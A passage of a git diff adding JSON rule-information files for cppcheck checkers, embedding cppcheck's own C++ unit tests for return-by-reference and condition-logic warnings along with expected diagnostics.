ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkReturnByReference)();\n }\n\n void returnByReference() {\n checkReturnByReference(\"struct T { int a[10]; };\\n\" // #12546\n \"struct S {\\n\"\n \" T t;\\n\"\n \" int i;\\n\"\n \" std::string s;\\n\"\n \" T getT() const { return t; }\\n\"\n \" int getI() const { return i; }\\n\"\n \" std::string getS() const { return s; }\\n\"\n \" unknown_t f() { return; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (performance) Function 'getT()' should return member 't' by const reference. [returnByReference]\\n\"\n \"[test.cpp:8:17]: (performance) Function 'getS()' should return member 's' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct B {\\n\" // #12608\n \" virtual std::string f() { return \\\"abc\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" std::string f() override { return s; }\\n\"\n \" std::string s;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\"\n \" std::string f(std::string s) { return s; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S { S(); };\\n\" // #12620\n \"S::S() = delete;\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n checkReturnByReference(\"struct S {\\n\" // #12626\n \" std::string s;\\n\"\n \" operator std::string_view() const { return s; }\\n\"\n \" std::string_view get() const { return s; }\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct U {\\n\"\n \" T t;\\n\"\n \" operator const T& () const { return t; }\\n\"\n \"};\\n\"\n \"U u;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13011\n \" std::string s;\\n\"\n \" const std::string& foo() const & { return s; }\\n\"\n \" std::string foo() && { return s; }\\n\" // <- used for temporary objects\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S1 {\\n\" // #13056\n \" std::string str;\\n\"\n \" struct T { std::string strT; } mT;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" std::string get1() const {\\n\"\n \" return mS1->str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return mS1->mT.strT;\\n\"\n \" }\\n\"\n \" S1* mS1;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (performance) Function 'get1()' should return member 'str' by const reference. [returnByReference]\\n\"\n \"[test.cpp:9:17]: (performance) Function 'get2()' should return member 'strT' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S { std::string str; };\\n\" // #13059\n \"struct T {\\n\"\n \" S temp() const;\\n\"\n \" S s[1];\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" std::string get1() const {\\n\"\n \" return t.temp().str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return t.s[0].str;\\n\"\n \" }\\n\"\n \" T t;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:17]: (performance) Function 'get2()' should return member 'str' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13845\n \" std::string m;\\n\"\n \" std::string get() { return m; }\\n\"\n \"};\\n\"\n \"std::string f(std::optional o) {\\n\"\n \" return o.transform(&S::get).value_or(\\\"\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestClass)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/alwaysTrueFalse.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/alwaysTrueFalse.json new file mode 100644 index 0000000..5139022 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/alwaysTrueFalse.json @@ -0,0 +1,13 @@ +{ + "name": "alwaysTrueFalse", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 139, + "branches": 50, + "apis": 133, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/assignIf.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/assignIf.json new file mode 100644 index 0000000..44affa0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/assignIf.json @@ -0,0 +1,13 @@ +{ + "name": "assignIf", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 34, + "branches": 11, + "apis": 39, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkAssignmentInCondition.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkAssignmentInCondition.json new file mode 100644 index 0000000..f50fb8e --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkAssignmentInCondition.json @@ -0,0 +1,22 @@ +{ + "name": "checkAssignmentInCondition", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 28, + "branches": 16, + "apis": 35, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 6108 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkcondition.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n\nclass TestCondition : public TestFixture {\npublic:\n TestCondition() : TestFixture(\"TestCondition\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().library(\"qt.cfg\").library(\"std.cfg\").severity(Severity::style).severity(Severity::warning).build();\n /*const*/ Settings settings1 = settingsBuilder().severity(Severity::style).severity(Severity::warning).build();\n\n void run() override {\n const char cfg[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \"\";\n settings1 = settingsBuilder(settings1).libraryxml(cfg).build();\n\n mNewTemplate = true;\n TEST_CASE(assignAndCompare); // assignment and comparison don't match\n TEST_CASE(mismatchingBitAnd); // overlapping bitmasks\n TEST_CASE(comparison); // CheckCondition::comparison test cases\n TEST_CASE(multicompare); // mismatching comparisons\n TEST_CASE(overlappingElseIfCondition); // overlapping conditions in if and else-if\n TEST_CASE(oppositeElseIfCondition); // opposite conditions in if and else-if\n\n TEST_CASE(checkBadBitmaskCheck);\n\n TEST_CASE(incorrectLogicOperator1);\n TEST_CASE(incorrectLogicOperator2);\n TEST_CASE(incorrectLogicOperator3);\n TEST_CASE(incorrectLogicOperator4);\n TEST_CASE(incorrectLogicOperator5); // complex expressions\n TEST_CASE(incorrectLogicOperator6); // char literals\n TEST_CASE(incorrectLogicOperator7); // opposite expressions: (expr || !expr)\n TEST_CASE(incorrectLogicOperator8); // !\n TEST_CASE(incorrectLogicOperator9);\n TEST_CASE(incorrectLogicOperator10); // enum\n TEST_CASE(incorrectLogicOperator11);\n TEST_CASE(incorrectLogicOperator12);\n TEST_CASE(incorrectLogicOperator13);\n TEST_CASE(incorrectLogicOperator14);\n TEST_CASE(incorrectLogicOperator15);\n TEST_CASE(incorrectLogicOperator16); // #10070\n TEST_CASE(incorrectLogicOperator17);\n TEST_CASE(secondAlwaysTrueFalseWhenFirstTrueError);\n TEST_CASE(incorrectLogicOp_condSwapping);\n TEST_CASE(testBug5895);\n TEST_CASE(testBug5309);\n\n TEST_CASE(modulo);\n\n TEST_CASE(oppositeInnerCondition);\n TEST_CASE(oppositeInnerConditionPointers);\n TEST_CASE(oppositeInnerConditionClass);\n TEST_CASE(oppositeInnerConditionUndeclaredVariable);\n TEST_CASE(oppositeInnerConditionAlias);\n TEST_CASE(oppositeInnerCondition2);\n TEST_CASE(oppositeInnerCondition3);\n TEST_CASE(oppositeInnerConditionAnd);\n TEST_CASE(oppositeInnerConditionOr);\n TEST_CASE(oppositeInnerConditionEmpty);\n TEST_CASE(oppositeInnerConditionFollowVar);\n TEST_CASE(oppositeInnerConditionLambda);\n\n TEST_CASE(identicalInnerCondition);\n\n TEST_CASE(identicalConditionAfterEarlyExit);\n TEST_CASE(innerConditionModified);\n\n TEST_CASE(clarifyCondition1); // if (a = b() < 0)\n TEST_CASE(clarifyCondition2); // if (a & b == c)\n TEST_CASE(clarifyCondition3); // if (! a & b)\n TEST_CASE(clarifyCondition4); // ticket #3110\n TEST_CASE(clarifyCondition5); // #3609 CWinTraits..\n TEST_CASE(clarifyCondition6); // #3818\n TEST_CASE(clarifyCondition7);\n TEST_CASE(clarifyCondition8);\n\n TEST_CASE(alwaysTrue);\n TEST_CASE(alwaysTrueSymbolic);\n TEST_CASE(alwaysTrueInfer);\n TEST_CASE(alwaysTrueContainer);\n TEST_CASE(alwaysTrueLoop);\n TEST_CASE(alwaysTrueTryCatch);\n TEST_CASE(multiConditionAlwaysTrue);\n TEST_CASE(duplicateCondition);\n\n TEST_CASE(checkInvalidTestForOverflow);\n TEST_CASE(checkConditionIsAlwaysTrueOrFalseInsideIfWhile);\n TEST_CASE(alwaysTrueFalseInLogicalOperators);\n TEST_CASE(pointerAdditionResultNotNull);\n TEST_CASE(duplicateConditionalAssign);\n\n TEST_CASE(checkAssignmentInCondition);\n TEST_CASE(compareOutOfTypeRange);\n TEST_CASE(knownConditionCast); // #9976\n TEST_CASE(knownConditionIncrementLoop); // #9808\n TEST_CASE(knownConditionAfterBailout); // #12526\n TEST_CASE(knownConditionIncDecOperator);\n TEST_CASE(knownConditionFloating);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n const Settings* s = nullptr;\n bool cpp = true;\n bool inconclusive = false;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n void check_(const char* file, int line, const char code[], const CheckOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Run checks..\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n void checkP_(const char* file, int line, const char code[])\n {\n const Settings settings = settingsBuilder(settings0).severity(Severity::performance).certainty(Certainty::inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Run checks..\n runChecks(tokenizer, this);\n }\n\n void assignAndCompare() {\n // &\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int y = x & 4;\\n\"\n \" if (y == 3);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int y = x & 4;\\n\"\n \" if (y != 3);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y!=3' is always true. [assignIfError]\\n\", errout_str());\n\n // |\n check(\"void foo(int x) {\\n\"\n \" int y = x | 0x14;\\n\"\n \" if (y == 0x710);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==0x710' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" int y = x | 0x14;\\n\"\n \" if (y == 0x71f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // various simple assignments\n check(\"void foo(int x) {\\n\"\n \" int y = (x+1) | 1;\\n\"\n \" if (y == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==2' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int y = 1 | x();\\n\"\n \" if (y == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==2' is always false. [assignIfError]\\n\", errout_str());\n\n // multiple conditions\n check(\"void foo(int x) {\\n\"\n \" int y = x & 4;\\n\"\n \" if ((y == 3) && (z == 1));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" int y = x & 4;\\n\"\n \" if ((x==123) || ((y == 3) && (z == 1)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:22]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" if (setvalue(&y) && y != 8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // recursive checking into scopes\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" if (z) y=0;\\n\"\n \" else { if (y==8); }\\n\" // always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n // while\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" while (y==8);\\n\" // local variable => always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:11]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" extern int y; y = x & 7;\\n\"\n \" while (y==8);\\n\" // non-local variable => no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) y--;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int x);\\n\"\n \"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) g(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:15] -> [test.cpp:6:15]: (style) Mismatching assignment and comparison, comparison 'y!=0' is always true. [assignIfError]\\n\",\n errout_str());\n\n check(\"void g(int &x);\\n\"\n \"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) g(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // calling function\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something();\\n\"\n \" if (y==8);\\n\" // local variable => always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something(&y);\\n\" // passing variable => no error\n \" if (y==8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void do_something(int);\\n\"\n \"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something(y);\\n\"\n \" if (y==8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:8]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" extern int y; y = x & 7;\\n\"\n \" do_something();\\n\"\n \" if (y==8);\\n\" // non-local variable => no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4434 : false positive: ?:\n check(\"void f(int x) {\\n\"\n \" x = x & 1;\\n\"\n \" x = x & 1 ? 1 : -1;\\n\"\n \" if(x != -1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4735\n check(\"void f() {\\n\"\n \" int x = *(char*)&0x12345678;\\n\"\n \" if (x==18) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: no variable info\n check(\"void foo(int x) {\\n\"\n \" y = 2 | x;\\n\" // y not declared => no error\n \" if(y == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: negative number\n check(\"void foo(int x) {\\n\"\n \" int y = -2 | x;\\n\" // negative number => no error\n \" if (y==1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: pass variable to function\n check(\"void foo(int x) {\\n\"\n \" int y = 2 | x;\\n\"\n \" bar(&y);\\n\" // pass variable to function => no error\n \" if (y==1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no crash on unary operator& (#5643)\n // #11610\n check(\"SdrObject* ApplyGraphicToObject() {\\n\"\n \" if (&rHitObject) {}\\n\"\n \" else if (rHitObject.IsClosedObj() && !&rHitObject) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Condition '&rHitObject' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:42]: (style) Condition '!&rHitObject' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // #5695: increment\n check(\"void f(int a0, int n) {\\n\"\n \" int c = a0 & 3;\\n\"\n \" for (int a = 0; a < n; a++) {\\n\"\n \" c++;\\n\"\n \" if (c == 4)\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) {\\n\" // #6662\n \" int x = a & 1;\\n\"\n \" while (x <= 4) {\\n\"\n \" if (x != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'x!=5' is always true. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\" // #6662\n \" int x = a & 1;\\n\"\n \" while ((x += 4) < 10) {\\n\"\n \" if (x != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int x);\\n\"\n \"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void g(int & x);\\n\"\n \"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void mismatchingBitAnd() {\n check(\"void f(int a) {\\n\"\n \" int b = a & 0xf0;\\n\"\n \" b &= 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:5]: (style) Mismatching bitmasks. Result is always 0 (X = Y & 0xf0; Z = X & 0x1; => Z=0). [mismatchingBitAnd]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" int b = a & 0xf0;\\n\"\n \" int c = b & 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Mismatching bitmasks. Result is always 0 (X = Y & 0xf0; Z = X & 0x1; => Z=0). [mismatchingBitAnd]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" int b = a;\"\n \" switch (x) {\\n\"\n \" case 1: b &= 1; break;\\n\"\n \" case 2: b &= 2; break;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparison() {\n // CheckCondition::comparison test cases\n // '=='\n check(\"void f(int a) {\\n assert( (a & 0x07) == 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) == 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & b & 4 & c ) == 3 );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Expression '(X & 0x4) == 0x3' is always false. [comparisonError]\\n\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) == 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) == 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) == 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x01) == -15 );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n // '!='\n check(\"void f(int a) {\\n assert( (a & 0x07) != 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) != 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) != 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) != 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) != 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) != 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n // '>='\n check(\"void f(int a) {\\n assert( (a & 0x07) >= 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) >= 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x7) >= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) >= 0x7' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) >= 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) >= 8U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '>'\n check(\"void f(int a) {\\n assert( (a & 0x07) > 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) > 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x7) > 6U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) > 0x6' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) > 6U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) > 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '<='\n check(\"void f(int a) {\\n assert( (a & 0x07) <= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) <= 0x7' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x08) <= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x8) <= 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) <= 6U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x08) <= 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '<'\n check(\"void f(int a) {\\n assert( (a & 0x07) < 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) < 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x07) < 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) < 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) < 3U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) < 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n\n check(\"void f(int i) {\\n\" // #11998\n \" if ((i & 0x100) == 0x200) {}\\n\"\n \" if (0x200 == (i & 0x100)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\"\n \"[test.cpp:2:12]: (style) Expression '(X & 0x100) == 0x200' is always false. [comparisonError]\\n\"\n \"[test.cpp:3:21]: (style) Expression '(X & 0x100) == 0x200' is always false. [comparisonError]\\n\",\n errout_str());\n\n checkP(\"#define MACRO1 (0x0010)\\n\" // #13222\n \"#define MACRO2 (0x0020)\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f(int i, int j) {\\n\" // #13360\n \" int X = 0x10;\\n\"\n \" if ((i & 0xff00) == X) {}\\n\"\n \" if (X == (j & 0xff00)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Expression '(X & 0xff00) == 0x10' is always false. [comparisonError]\\n\"\n \"[test.cpp:4:17]: (style) Expression '(X & 0xff00) == 0x10' is always false. [comparisonError]\\n\",\n errout_str());\n }\n\n#define checkPureFunction(code) checkPureFunction_(code, __FILE__, __LINE__)\n void multicompare() {\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" if (x & 7);\\n\"\n \" else { if (x == 1); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" if (x & 7);\\n\"\n \" else { if (x & 1); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"extern int bar() __attribute__((pure));\\n\"\n \"void foo(int x)\\n\"\n \"{\\n\"\n \" if ( bar() >1 && b) {}\\n\"\n \" else if (bar() >1 && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (style) Expression is always false because 'else if' condition matches previous condition at line 4. [multiCondition]\\n\", errout_str());\n\n checkPureFunction(\"extern int bar();\\n\"\n \"void foo(int x)\\n\"\n \"{\\n\"\n \" if ( bar() >1 && b) {}\\n\"\n \" else if (bar() >1 && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (style) Expression is always false because 'else if' condition matches previous condition at line 4. [multiCondition]\\n\", errout_str());\n\n // 7284\n check(\"void foo() {\\n\"\n \" if (a) {}\\n\"\n \" else if (!!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n // #11059\n check(\"int f();\\n\"\n \"void g() {\\n\"\n \" int i = f();\\n\"\n \" if (i == 3) {}\\n\"\n \" else if ((i = f()) == 5) {}\\n\"\n \" else if (i == 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"void g() {\\n\"\n \" int i = f();\\n\"\n \" if (i == 3) {}\\n\"\n \" else if ((i = f()) == 5) {}\\n\"\n \" else if (i != 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n template\n void checkPureFunction_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n void overlappingElseIfCondition() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) { b = 1; }\\n\"\n \" else { if (a) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. 